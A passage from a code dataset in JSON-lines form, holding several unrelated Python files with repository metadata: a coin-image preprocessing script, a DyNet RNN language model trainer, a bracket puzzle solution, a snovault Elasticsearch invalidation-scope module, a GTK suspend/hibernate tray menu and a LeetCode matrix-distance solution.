f.get_imgs('datasets/*jpg')\n\nto_size = 320\nscaled = []\nscaled_labels = []\n\n# Extraindo as moedas das imagens originais usada na definição extraido_moeda\n\nfor img_file in random.sample(g, 1):\n img = cv2.imread(img_file, cv2.IMREAD_COLOR)\n\n\n \n img = f.preprocessamento(img, to_size)\n if img is not None and len(img):\n scaled.append(img)\n scaled_labels.append(img_file.split('_')[0]) \n \n cv2.imshow('Moeda Brasileira', img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()", "repo_name": "GleicianeSilva/App_See", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 754, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pre_processamento.get_imgs", "line_number": 10, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pre_processamento.preprocessamento", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "5627243469", "text": "import dynet as dy\nfrom constree import *\nfrom lexicons import *\nfrom proc_monitors import *\nfrom rnng_params import *\nfrom char_rnn import *\nfrom math import exp\nfrom numpy.random import rand\n\nclass RNNLM:\n\n START_TOKEN = ''\n UNKNOWN_TOKEN = ''\n \n def __init__(self,brown_clusters,word_embedding_size=250,hidden_size=300,char_embedding_size=50,vocab_thresh=1):\n \n self.word_embedding_size = word_embedding_size\n self.hidden_size = hidden_size\n self.char_embedding_size = char_embedding_size\n self.brown_file = brown_clusters\n self.vocab_thresh = vocab_thresh\n self.dropout = 0.0\n \n def allocate_params(self):\n \"\"\"\n Allocates memory for the model parameters.\n \"\"\"\n self.model = dy.ParameterCollection()\n self.word_embeddings = self.model.add_lookup_parameters((self.lexicon.size(),self.word_embedding_size)) \n self.rnn = dy.LSTMBuilder(2,self.word_embedding_size+self.char_embedding_size,self.hidden_size,self.model) \n self.char_rnn = CharRNNBuilder(self.char_embedding_size,self.char_embedding_size,self.charset,self.model)\n self.word_softmax = dy.ClassFactoredSoftmaxBuilder(self.hidden_size,self.brown_file,self.lexicon.words2i,self.model,bias=True) \n \n def code_lexicons(self,treebank):\n known_vocabulary = []\n charset = set([ ])\n for tree in treebank:\n tokens = tree.tokens()\n for word in tokens:\n charset.update(list(word))\n known_vocabulary.extend(tokens)\n known_vocabulary = get_known_vocabulary(known_vocabulary,vocab_threshold=1)\n known_vocabulary.add(RNNLM.START_TOKEN)\n self.brown_file = normalize_brown_file(self.brown_file,known_vocabulary,self.brown_file+'.unk2',UNK_SYMBOL=RNNLM.UNKNOWN_TOKEN)\n self.lexicon = SymbolLexicon( list(known_vocabulary),unk_word=RNNLM.UNKNOWN_TOKEN)\n self.charset = SymbolLexicon(list(charset))\n return self.lexicon\n\n def predict_logprobs(self,X):\n \"\"\"\n Predicts log probabilities for a sentence X (list of words)\n Returns the NLL for this sentence.\n \"\"\"\n Y = X\n X = [RNNLM.START_TOKEN] + X\n X.pop() \n dy.renew_cg()\n \n state = self.rnn.initial_state()\n xcodes = [self.lexicon.index(x) for x in X]\n cembeddings = [self.char_rnn(x) for x in X] #char embeddings\n lookups = [dy.concatenate([self.word_embeddings[xidx],charE]) for (xidx,charE) in zip(xcodes,cembeddings)]\n outputs = state.transduce(lookups)\n\n ycodes = [self.lexicon.index(y) for y in Y]\n ypreds = [self.word_softmax.neg_log_softmax(o,y) for (o,y) in zip(outputs,ycodes)]\n nll = dy.esum(ypreds).value()\n return nll\n\n def eval_dataset(self,treebank_file,strip_trees=True):\n \"\"\"\n Evaluates the model on a dataset and returns nll and perplexity\n \"\"\"\n nll = 0\n N = 0\n treebank = open(treebank_file)\n for line in treebank:\n if strip_trees: #sent is a tree\n tree = ConsTree.read_tree(line)\n tokens = tree.tokens() \n else:\n tokens = line.split() \n nll += self.predict_logprobs(tokens)\n N += len(tokens)\n treebank.close()\n return nll,exp(nll/N)\n \n def read_glove_embeddings(self,glove_filename):\n \"\"\"\n Reads embeddings from a glove filename and returns an embedding\n matrix for the parser vocabulary.\n @param glove_filename: the file where to read embeddings from\n @return an embedding matrix that can initialize an Embedding layer\n \"\"\"\n print('Reading embeddings from %s ...'%glove_filename)\n #self.word_embeddings = self.model.add_lookup_parameters((self.lexicon.size(),self.word_embedding_size), init='glorot') \n istream = open(glove_filename)\n for line in istream:\n values = line.split()\n word = values[0]\n widx = self.lexicon.index(word)\n \n if widx != self.lexicon.unk_index():\n coefs = np.asarray(values[1:], dtype='float32')\n self.word_embeddings.init_row(widx,coefs)\n\n istream.close()\n print('done.')\n \n def train_rnnlm(self,train_file,\\\n dev_file, \\\n lr=0.1, \\\n dropout=0.5,\\\n max_epochs=100):\n \n #Trees preprocessing\n train_stream = open(train_file)\n train_treebank = [ ] \n\n \n for idx,line in enumerate(train_stream):\n t = ConsTree.read_tree(line)\n train_treebank.append(t)\n train_stream.close()\n \n self.dropout = dropout\n self.code_lexicons(train_treebank)\n self.allocate_params()\n #external word embeddings\n self.read_glove_embeddings('glove.6B.300d.txt')\n trainer = dy.SimpleSGDTrainer(self.model,learning_rate=lr)\n min_ppl = float('inf') \n for e in range(max_epochs): \n nll = 0\n N = 0 \n for sent in train_treebank:\n dy.renew_cg()\n Y = sent.tokens() \n X = [RNNLM.START_TOKEN] + Y\n X.pop()\n state = self.rnn.initial_state()\n xcodes = [self.lexicon.index(x) for x in X]\n \n cembeddings = [self.char_rnn(x) for x in X] #char embeddings\n lookups = [dy.concatenate([self.word_embeddings[xidx],charE]) for (xidx,charE) in zip(xcodes,cembeddings)]\n outputs = state.transduce(lookups)\n\n ycodes = [self.lexicon.index(y) for y in Y]\n losses = [self.word_softmax.neg_log_softmax(dy.rectify(dy.dropout(o,self.dropout)),y) for (o,y) in zip(outputs,ycodes)]\n \n loss = dy.esum(losses)\n loss.backward() \n trainer.update()\n\n nll += loss.value()\n N += len(Y)\n \n train_ppl = exp(nll/N)\n dev_nll,dev_ppl = self.eval_dataset(dev_file)\n \n print(\"epoch\",e,'train PPL:',train_ppl,'dev PPL',dev_ppl,flush=True)\n if dev_ppl <= min_ppl:\n self.model.save('rnnlm_model.prm')\n print(' >model saved<')\n min_ppl = dev_ppl\n \n self.model = self.model.populate('rnnlm_model.prm')\n self.dropout = 0.0 \n \nlm = RNNLM('ptb-250.brown',word_embedding_size=300,hidden_size=300) \nlm.train_rnnlm('ptb_train.mrg','ptb_dev.mrg',max_epochs=20,lr=0.1,dropout=0.6)\nprint('WSJ PPL',lm.eval_dataset('ptb_test.mrg')[1])\nprint('Prince PPL',lm.eval_dataset('prince/prince.en.txt',strip_trees=False)[1])\n", "repo_name": "bencrabbe/parsing_as_LM", "sub_path": "rnng/simple_rnnlm.py", "file_name": "simple_rnnlm.py", "file_ext": "py", "file_size_in_byte": 7992, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "dynet.ParameterCollection", "line_number": 28, "usage_type": "call"}, {"api_name": "dynet.LSTMBuilder", "line_number": 30, "usage_type": "call"}, {"api_name": "dynet.ClassFactoredSoftmaxBuilder", "line_number": 32, "usage_type": "call"}, {"api_name": "dynet.renew_cg", "line_number": 57, "usage_type": "call"}, {"api_name": "dynet.concatenate", "line_number": 62, "usage_type": "call"}, {"api_name": "dynet.esum", "line_number": 67, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 86, "usage_type": "call"}, {"api_name": "dynet.SimpleSGDTrainer", "line_number": 131, "usage_type": "call"}, {"api_name": "dynet.renew_cg", "line_number": 137, "usage_type": "call"}, {"api_name": "dynet.concatenate", "line_number": 145, "usage_type": "call"}, {"api_name": "dynet.rectify", "line_number": 149, "usage_type": "call"}, {"api_name": "dynet.dropout", "line_number": 149, "usage_type": "call"}, {"api_name": "dynet.esum", "line_number": 151, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 158, "usage_type": "call"}]} +{"seq_id": "70129664650", "text": "from collections import deque\n\ndef solution(s):\n brackets = deque(s)\n length = len(brackets)\n answer = 0\n opens = {'[', '(', '{'}\n matches = {']': '[', ')': '(', '}': '{'}\n for _ in range(length):\n stack = []\n for bracket in brackets:\n if bracket in opens:\n stack.append(bracket)\n continue\n if not stack or stack.pop() != matches[bracket]:\n break\n else:\n if not stack:\n answer += 1\n brackets.append(brackets.popleft())\n return answer\n\nprint(solution('{{'))", "repo_name": "kylekim2123/Algorithm-with-Python", "sub_path": "EXAM/프로그래머스 월간 코딩 테스트 시즌2 1차/2번문제.py", "file_name": "2번문제.py", "file_ext": "py", "file_size_in_byte": 598, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.deque", "line_number": 4, "usage_type": "call"}]} +{"seq_id": "12709803650", "text": "import structlog\nfrom elasticsearch.helpers import scan\nfrom pyramid.view import view_config\nfrom pyramid.exceptions import HTTPBadRequest\nfrom ..interfaces import COLLECTIONS, TYPES\nfrom .interfaces import ELASTIC_SEARCH\nfrom ..util import DEFAULT_EMBEDS, crawl_schema, debug_log\nfrom ..typeinfo import AbstractTypeInfo\n\n\nlog = structlog.getLogger(__name__)\nSCAN_PAGE_SIZE = 5000\n\n\ndef includeme(config):\n config.add_route('compute_invalidation_scope', '/compute_invalidation_scope')\n config.scan(__name__)\n\n\ndef get_namespaced_index(config, index):\n \"\"\" Grabs indexer.namespace from settings and namespace the given index \"\"\"\n try:\n settings = config.registry.settings\n except AttributeError: # accept either config or registry as first arg\n settings = config.settings\n namespace = settings.get('indexer.namespace') or ''\n return namespace + index\n\n\ndef namespace_index_from_health(health, index):\n \"\"\" Namespaces the given index based on health page data \"\"\"\n if 'error' in health:\n raise RuntimeError('Mirror health unresolved: %s' % health)\n return health.get('namespace', '') + index\n\n\ndef to_camel_case(snake_string):\n return snake_string.title().replace(\"_\", \"\")\n\n\ndef find_uuids_for_indexing(registry, updated, find_index=None):\n \"\"\"\n Run a search to find uuids of objects with that contain the given set of\n updated uuids in their linked_uuids.\n Uses elasticsearch.helpers.scan to iterate through ES results.\n Returns a set containing original uuids and the found uuids (INCLUDING\n uuids that were passed into this function)\n\n Args:\n registry: the current Registry\n updated (set): uuids to use as basis for finding associated items\n find_index (str): index to search in. Default to '_all' (all indices)\n\n Return:\n set: of uuids, including associated uuids found AND `updated` uuids\n \"\"\"\n es = registry[ELASTIC_SEARCH]\n scan_query = {\n 'query': {\n 'bool': {\n 'filter': {\n 'bool': {\n 'should': [\n {\n 'terms': {\n 'linked_uuids_embedded.uuid': list(updated)\n }\n }\n ]\n }\n }\n }\n },\n '_source': False\n }\n if not find_index:\n find_index = get_namespaced_index(registry, '*')\n # size param below == # of results per request, too large and can timeout, too small and will make too\n # many requests - 5000 seems to be a reasonable number. - Will 6/7/21\n results = scan(es, index=find_index, query=scan_query, size=SCAN_PAGE_SIZE)\n invalidated_with_type = {(res['_id'], to_camel_case(res['_type'])) for res in results}\n invalidated = {uuid for uuid, _type in invalidated_with_type}\n\n return (updated | invalidated), invalidated_with_type\n\n\ndef get_uuids_for_types(registry, types=[]):\n \"\"\"\n WARNING! This makes lots of DB requests and should be used carefully.\n\n Generator function to return uuids for all the given types. If no\n types provided, uses all types (get all uuids). Because of inheritance\n between item classes, do not iterate over all subtypes (as is done with\n `for uuid in collection`; instead, leverage `collection.iter_no_subtypes`)\n\n Args:\n registry: the current Registry\n types (list): string item types to specifcally use to find collections.\n Default is empty list, which means all collections are used\n\n Yields:\n str: uuid of item in collections\n \"\"\"\n if not isinstance(types, list) or not all(isinstance(t, str) for t in types): # type check for safety\n raise TypeError('Expected type=list (of strings) for argument \"types\"')\n collections = registry[COLLECTIONS]\n # might as well sort collections alphabetically, as this was done earlier\n for coll_name in sorted(collections.by_item_type):\n if types and coll_name not in types:\n continue\n for uuid in collections.by_item_type[coll_name].iter_no_subtypes():\n yield str(uuid)\n\n\ndef extract_type_properties(registry, invalidated_item_type):\n \"\"\" Helper function, useful for mocking. \"\"\"\n return registry['types'][invalidated_item_type].schema['properties']\n\n\ndef extract_type_embedded_list(registry, invalidated_item_type):\n \"\"\" Helper function, useful for mocking \"\"\"\n return registry['types'][invalidated_item_type].embedded_list\n\n\ndef extract_type_default_diff(registry, invalidated_item_type):\n \"\"\" Helper function that extracts the default diff for this item, if one exists. \"\"\"\n return getattr(registry['types'][invalidated_item_type], 'default_diff', [])\n\n\ndef extract_base_types(registry, item_type):\n \"\"\" Helper function, useful for mocking \"\"\"\n return registry[TYPES][item_type].base_types\n\n\ndef determine_parent_types(registry, item_type):\n \"\"\" Determines the parent types of the given item_type \"\"\"\n base_types = []\n try:\n base_types = extract_base_types(registry, item_type)\n except KeyError: # indicative of an error if not testing\n log.info('Tried to determine parent type of invalid type: %s' % item_type)\n return [b for b in base_types if b != 'Item']\n\n\ndef determine_child_types(registry, parent_type):\n \"\"\" Determines the child types of the given parent type (to a depth of one). \"\"\"\n child_types = []\n for potential_child_type, details in registry[TYPES].by_item_type.items():\n if parent_type in getattr(details, 'base_types', []):\n child_types.append(details.name)\n return child_types\n\n\ndef build_diff_metadata(registry, diff):\n \"\"\" Helper function for below that builds metadata from diff needed to filter\n invalidation scope.\n\n :param registry: application registry, used to retrieve type information\n :param diff: a diff of the change (from SQS), see build_diff_from_request\n :returns: 3-tuple:\n * skip bool (to invalidate everything),\n * diff intermediary\n * child -> parent type mappings (if they exist, in case we are modifying a leaf type)\n \"\"\"\n # build representation of diffs\n # item type -> modified fields mapping\n diffs, child_to_parent_type = {}, {}\n skip = False # if a modified field is a default embed, EVERYTHING has to be invalidated\n for _d in diff:\n modified_item_type, modified_field = _d.split('.', 1)\n if ('.' + modified_field) in DEFAULT_EMBEDS:\n skip = True\n break\n if modified_item_type not in diffs:\n diffs[modified_item_type] = [modified_field]\n else:\n diffs[modified_item_type].append(modified_field)\n\n default_diff = extract_type_default_diff(registry, modified_item_type)\n if default_diff:\n diffs[modified_item_type].extend(default_diff)\n\n modified_item_parent_types = determine_parent_types(registry, modified_item_type)\n if modified_item_parent_types:\n child_to_parent_type[modified_item_type] = modified_item_parent_types\n\n return skip, diffs, child_to_parent_type\n\n\ndef filter_invalidation_scope(registry, diff, invalidated_with_type, secondary_uuids, verbose=False):\n \"\"\" Function that given a diff in the following format:\n ItemType.base_field.terminal_field --> {ItemType: base_field.terminal_field} intermediary\n And a list of invalidated uuids with their type information as a 2-tuple:\n [(, ), ...]\n Removes uuids of item types that were not invalidated from the set of secondary_uuids.\n\n :param registry: application registry, used to retrieve type information\n :param diff: a diff of the change (from SQS), see build_diff_from_request\n :param invalidated_with_type: list of 2-tuple (uuid, item_type)\n :param secondary_uuids: primary set of uuids to be invalidated\n :param verbose: specifies if we would like to return debugging info\n \"\"\"\n skip, diffs, child_to_parent_type = build_diff_metadata(registry, diff)\n # go through all invalidated uuids, looking at the embedded list of the item type\n item_type_is_invalidated = {}\n for invalidated_uuid, invalidated_item_type in invalidated_with_type:\n if skip is True: # if we detected a change to a default embed, invalidate everything\n\n # if in debug mode, populate invalidation metadata at the expense of performance\n if verbose:\n if invalidated_item_type not in item_type_is_invalidated:\n item_type_is_invalidated[invalidated_item_type] = True\n continue\n else: # in production, exit immediately if we see this, as this works by side-effect\n break\n\n # remove this uuid if its item type has been seen before and found to\n # not be invalidated\n if invalidated_item_type in item_type_is_invalidated:\n if item_type_is_invalidated[invalidated_item_type] is False:\n secondary_uuids.discard(invalidated_uuid)\n continue # nothing else to do here\n\n # if we get here, we are looking at an invalidated_item_type that exists in the\n # diff and we need to inspect the embedded list to see if the diff fields are\n # embedded\n properties = extract_type_properties(registry, invalidated_item_type)\n embedded_list = extract_type_embedded_list(registry, invalidated_item_type)\n for embed in embedded_list:\n\n # check the field up to the embed as this is the path to the linkTo\n # we must determine it's type and determine if the given diff could've\n # resulted in an invalidation\n split_embed = embed.split('.')\n base_field, terminal_field = '.'.join(split_embed[0:-1]), split_embed[-1]\n base_field_schema = crawl_schema(registry['types'], base_field, properties)\n base_field_item_type = base_field_schema.get('linkTo', None)\n\n # recursive helper function that will drill down as much as necessary\n def locate_link_to(schema_cursor):\n if 'items' in schema_cursor: # array\n if 'properties' in schema_cursor['items']:\n for field_name, details in schema_cursor['items']['properties'].items():\n if base_field.endswith(field_name):\n if 'linkTo' in details:\n return details['linkTo']\n else:\n return locate_link_to(details)\n else:\n return schema_cursor['items']['linkTo']\n elif 'properties' in schema_cursor: # object\n for field_name, details in schema_cursor['properties'].items():\n if base_field.endswith(field_name):\n if 'linkTo' in details:\n return details['linkTo']\n else:\n return locate_link_to(details)\n else:\n log.error(schema_cursor)\n raise Exception('Unexpected')\n\n # if we are not a top level linkTo, drill down\n if base_field_item_type is None:\n base_field_item_type = locate_link_to(base_field_schema)\n\n # Collect diffs from all possible item_types\n all_possible_diffs = diffs.get(base_field_item_type, [])\n\n # A linkTo target could be a child type (in that we need to look at parent type diffs as well)\n # NOTE: this situation doesn't actually occur in our system as of right now\n # but theoretically could\n parent_types = child_to_parent_type.get(base_field_item_type, None)\n if parent_types is not None:\n for parent_type in child_to_parent_type.get(base_field_item_type, []):\n all_possible_diffs.extend(diffs.get(parent_type, []))\n\n # It could also be parent type (in that we must look at all potential child types)\n child_types = determine_child_types(registry, base_field_item_type)\n if child_types is not None:\n for child_type in determine_child_types(registry, base_field_item_type) or []:\n all_possible_diffs.extend(diffs.get(child_type, []))\n\n if not all_possible_diffs: # no diffs match this embed\n continue\n\n # VERY IMPORTANT: for this to work correctly, the fields used in calculated properties MUST\n # be embedded! In addition, if you embed * on a linkTo, modifications to that linkTo will ALWAYS\n # invalidate the item_type\n if (any(terminal_field == field for field in all_possible_diffs) or\n terminal_field.endswith('*')):\n item_type_is_invalidated[invalidated_item_type] = True\n break\n\n # if we didnt break out of the above loop, we never found an embedded field that was\n # touched, so set this item type to False so all items of this type are NOT invalidated\n if invalidated_item_type not in item_type_is_invalidated:\n secondary_uuids.discard(invalidated_uuid)\n item_type_is_invalidated[invalidated_item_type] = False\n\n # XXX: Enable to get debugging information on invalidation scope\n # def _sort(tp):\n # return tp[0]\n # log.error('Diff: %s Invalidated: %s Cleared: %s' % (diffs, sorted(list((k, v) for k, v in item_type_is_invalidated.items()\n # if v is True), key=_sort),\n # sorted(list((k, v) for k, v in item_type_is_invalidated.items()\n # if v is False), key=_sort)))\n if verbose: # noQA this function is intended to be considered 'void' but will return info if asked - Will\n return item_type_is_invalidated\n\n\ndef _compute_invalidation_scope_base(request, result, source_type, target_type, simulated_prop):\n \"\"\" Helper for below route - implements the base case of the API\n Builds a dummy diff from on the simulated prop and determines whether the edit results\n in invalidation of the target type.\n \"\"\"\n\n dummy_diff = ['.'.join([source_type, simulated_prop])]\n invalidated_with_type = [('dummy', target_type)]\n invalidated_metadata = filter_invalidation_scope(request.registry, dummy_diff, invalidated_with_type, set(),\n verbose=True)\n if invalidated_metadata.get(target_type, False):\n result['Invalidated'].append(simulated_prop)\n else:\n result['Cleared'].append(simulated_prop)\n\n\ndef _compute_invalidation_scope_recursive(request, result, meta, source_type, target_type, simulated_prop):\n \"\"\" Helper for below route - implements the recursive step of the API.\n Traverses the properties computing invalidation scope for all possible patch paths.\n \"\"\"\n if 'calculatedProperty' in meta: # we cannot patch calc props, so behavior here is irrelevant\n return\n elif meta['type'] == 'object':\n if 'properties' not in meta:\n return # sometimes can occur (see workflow.json in fourfront) - nothing we can do\n for sub_prop, sub_meta in meta['properties'].items():\n _compute_invalidation_scope_recursive(request, result, sub_meta, source_type, target_type,\n '.'.join([simulated_prop, sub_prop]))\n elif meta['type'] == 'array':\n sub_type = meta['items']['type']\n if sub_type == 'object':\n if 'properties' not in meta['items']:\n return # sometimes can occur (see workflow.json in fourfront) - nothing we can do\n for sub_prop, sub_meta in meta['items']['properties'].items():\n _compute_invalidation_scope_recursive(request, result, sub_meta, source_type, target_type,\n '.'.join([simulated_prop, sub_prop]))\n else:\n _compute_invalidation_scope_base(request, result, source_type, target_type, simulated_prop)\n else:\n _compute_invalidation_scope_base(request, result, source_type, target_type, simulated_prop)\n\n\n@view_config(route_name='compute_invalidation_scope', request_method='POST', permission='index')\n@debug_log\ndef compute_invalidation_scope(context, request):\n \"\"\" Computes invalidation scope for a given source item type against a target item type.\n Arguments:\n source_type: item type whose edits we'd like to investigate\n target_type: \"impacted\" type ie: assume this type was invalidated\n Response:\n source/target type are given back\n Invalidated: list of fields on source_type that, if modified, trigger invalidation of target_type\n Cleared: list of fields on source_type that, if modified, do not trigger invalidation of target_type\n \"\"\"\n source_type = request.json.get('source_type', None)\n target_type = request.json.get('target_type', None)\n # None-check\n if not source_type or not target_type:\n raise HTTPBadRequest('Missing required parameters: source_type, target_type')\n # Invalid Type\n if source_type not in request.registry[TYPES] or target_type not in request.registry[TYPES]:\n raise HTTPBadRequest('Invalid source/target type: %s/%s' % (source_type, target_type))\n # Abstract type\n # Note 'type' is desired here because concrete types have literal type TypeInfo\n # vs. abstract types have literal type AbstractTypeInfo\n # isinstance() will return True (wrong) since TypeInfo inherits from AbstractTypeInfo\n if type(request.registry[TYPES][source_type]) == AbstractTypeInfo or \\\n type(request.registry[TYPES][target_type]) == AbstractTypeInfo:\n raise HTTPBadRequest('One or more of your types is abstract! %s/%s' % (source_type, target_type))\n source_type_schema = request.registry[TYPES][source_type].schema\n result = {\n 'Source Type': source_type,\n 'Target Type': target_type,\n 'Invalidated': [],\n 'Cleared': []\n }\n\n # Walk schema, simulating an edit and computing invalidation scope per field, recording result\n for prop, meta in source_type_schema['properties'].items():\n _compute_invalidation_scope_recursive(request, result, meta, source_type, target_type, prop)\n\n return result\n", "repo_name": "dmichaels/harvard-snovault", "sub_path": "snovault/elasticsearch/indexer_utils.py", "file_name": "indexer_utils.py", "file_ext": "py", "file_size_in_byte": 18797, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "structlog.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "interfaces.ELASTIC_SEARCH", "line_number": 57, "usage_type": "name"}, {"api_name": "elasticsearch.helpers.scan", "line_number": 80, "usage_type": "call"}, {"api_name": "interfaces.COLLECTIONS", "line_number": 106, "usage_type": "name"}, {"api_name": "interfaces.TYPES", "line_number": 132, "usage_type": "name"}, {"api_name": "interfaces.TYPES", "line_number": 148, "usage_type": "name"}, {"api_name": "util.DEFAULT_EMBEDS", "line_number": 171, "usage_type": "name"}, {"api_name": "util.crawl_schema", "line_number": 236, "usage_type": "call"}, {"api_name": "pyramid.exceptions.HTTPBadRequest", "line_number": 369, "usage_type": "call"}, {"api_name": "interfaces.TYPES", "line_number": 371, "usage_type": "name"}, {"api_name": "pyramid.exceptions.HTTPBadRequest", "line_number": 372, "usage_type": "call"}, {"api_name": "interfaces.TYPES", "line_number": 377, "usage_type": "name"}, {"api_name": "typeinfo.AbstractTypeInfo", "line_number": 377, "usage_type": "name"}, {"api_name": "interfaces.TYPES", "line_number": 378, "usage_type": "name"}, {"api_name": "typeinfo.AbstractTypeInfo", "line_number": 378, "usage_type": "name"}, {"api_name": "pyramid.exceptions.HTTPBadRequest", "line_number": 379, "usage_type": "call"}, {"api_name": "interfaces.TYPES", "line_number": 380, "usage_type": "name"}, {"api_name": "pyramid.view.view_config", "line_number": 353, "usage_type": "call"}, {"api_name": "util.debug_log", "line_number": 354, "usage_type": "name"}]} +{"seq_id": "35611196470", "text": "#! /usr/bin/python3\nimport gi\nimport signal\nimport os\ngi.require_version(\"Gtk\", \"3.0\")\ngi.require_version('AppIndicator3', '0.1')\nfrom gi.repository import Gtk as gtk\nfrom gi.repository import AppIndicator3 as ai\n\ndef suspend(source):\n os.system('systemctl suspend')\ndef hybsus(source):\n os.system('system-ctl hybrid-sleep')\ndef hib(source):\n os.system('systemctl hibernate')\n\n\ndef build_menu():\n menu = gtk.Menu()\n item_1= gtk.MenuItem('Suspend')\n item_2 = gtk.MenuItem('Hybrid Suspend')\n item_3 = gtk.MenuItem('Hibernate')\n item_4 =gtk.MenuItem('Quit')\n menu.append(item_1)\n menu.append(item_2)\n menu.append(item_3)\n menu.append(item_4)\n item_1.connect('activate', suspend)\n item_2.connect('activate',hybsus)\n item_3.connect('activate',hib)\n item_4.connect('activate',quit)\n menu.show_all()\n return menu\n\n\ndef quit(source):\n gtk.main_quit()\ndef main():\n indicator = ai.Indicator.new('Pan_Items', gtk.STOCK_INFO, ai.IndicatorCategory.OTHER)\n indicator.set_status(ai.IndicatorStatus.ACTIVE)\n indicator.set_menu(build_menu())\n signal.signal(signal.SIGINT,signal.SIG_DFL)\n\n gtk.main()\n\nif __name__ == \"__main__\":\n main()", "repo_name": "nikhil-seth/suspend-panel", "sub_path": "hib_test01.py", "file_name": "hib_test01.py", "file_ext": "py", "file_size_in_byte": 1193, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "gi.require_version", "line_number": 5, "usage_type": "call"}, {"api_name": "gi.require_version", "line_number": 6, "usage_type": "call"}, {"api_name": "os.system", "line_number": 11, "usage_type": "call"}, {"api_name": "os.system", "line_number": 13, "usage_type": "call"}, {"api_name": "os.system", "line_number": 15, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.Menu", "line_number": 19, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 19, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.MenuItem", "line_number": 20, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 20, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.MenuItem", "line_number": 21, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 21, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.MenuItem", "line_number": 22, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 22, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.MenuItem", "line_number": 23, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 23, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.main_quit", "line_number": 37, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 37, "usage_type": "name"}, {"api_name": "gi.repository.AppIndicator3.Indicator.new", "line_number": 39, "usage_type": "call"}, {"api_name": "gi.repository.AppIndicator3.Indicator", "line_number": 39, "usage_type": "attribute"}, {"api_name": "gi.repository.AppIndicator3", "line_number": 39, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.STOCK_INFO", "line_number": 39, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 39, "usage_type": "name"}, {"api_name": "gi.repository.AppIndicator3.IndicatorCategory", "line_number": 39, "usage_type": "attribute"}, {"api_name": "gi.repository.AppIndicator3.IndicatorStatus", "line_number": 40, "usage_type": "attribute"}, {"api_name": "gi.repository.AppIndicator3", "line_number": 40, "usage_type": "name"}, {"api_name": "signal.signal", "line_number": 42, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 42, "usage_type": "attribute"}, {"api_name": "signal.SIG_DFL", "line_number": 42, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk.main", "line_number": 44, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 44, "usage_type": "name"}]} +{"seq_id": "70438732168", "text": "\"\"\"\n1030. 距离顺序排列矩阵单元格\n给出 R 行 C 列的矩阵，其中的单元格的整数坐标为 (r, c)，满足 0 <= r < R 且 0 <= c < C。\n\n另外，我们在该矩阵中给出了一个坐标为 (r0, c0) 的单元格。\n\n返回矩阵中的所有单元格的坐标，并按到 (r0, c0) 的距离从最小到最大的顺序排，其中，两单元格(r1, c1) 和 (r2, c2) 之间的距离是曼哈顿距离，|r1 - r2| + |c1 - c2|。（你可以按任何满足此条件的顺序返回答案。）\n\n \n\n示例 1：\n\n输入：R = 1, C = 2, r0 = 0, c0 = 0\n输出：[[0,0],[0,1]]\n解释：从 (r0, c0) 到其他单元格的距离为：[0,1]\n示例 2：\n\n输入：R = 2, C = 2, r0 = 0, c0 = 1\n输出：[[0,1],[0,0],[1,1],[1,0]]\n解释：从 (r0, c0) 到其他单元格的距离为：[0,1,1,2]\n[[0,1],[1,1],[0,0],[1,0]] 也会被视作正确答案。\n示例 3：\n\n输入：R = 2, C = 3, r0 = 1, c0 = 2\n输出：[[1,2],[0,2],[1,1],[0,1],[1,0],[0,0]]\n解释：从 (r0, c0) 到其他单元格的距离为：[0,1,1,2,2,3]\n其他满足题目要求的答案也会被视为正确，例如 [[1,2],[1,1],[0,2],[1,0],[0,1],[0,0]]。\n \n\n提示：\n\n1 <= R <= 100\n1 <= C <= 100\n0 <= r0 < R\n0 <= c0 < C\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/matrix-cells-in-distance-order\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def allCellsDistOrder(self, R: int, C: int, r0: int, c0: int) -> List[List[int]]:\n n = R + C - 1\n bucket = [list() for _ in range(n)]\n for i in range(R):\n for j in range(C):\n bucket[abs(i - r0) + abs(j - c0)].append([i, j])\n\n res = []\n for i in range(n):\n res.extend(bucket[i])\n\n return res\n\n\nif __name__ == '__main__':\n R = 1\n C = 2\n r0 = 0\n c0 = 0\n print(Solution().allCellsDistOrder(R, C, r0, c0))\n", "repo_name": "yiming1012/MyLeetCode", "sub_path": 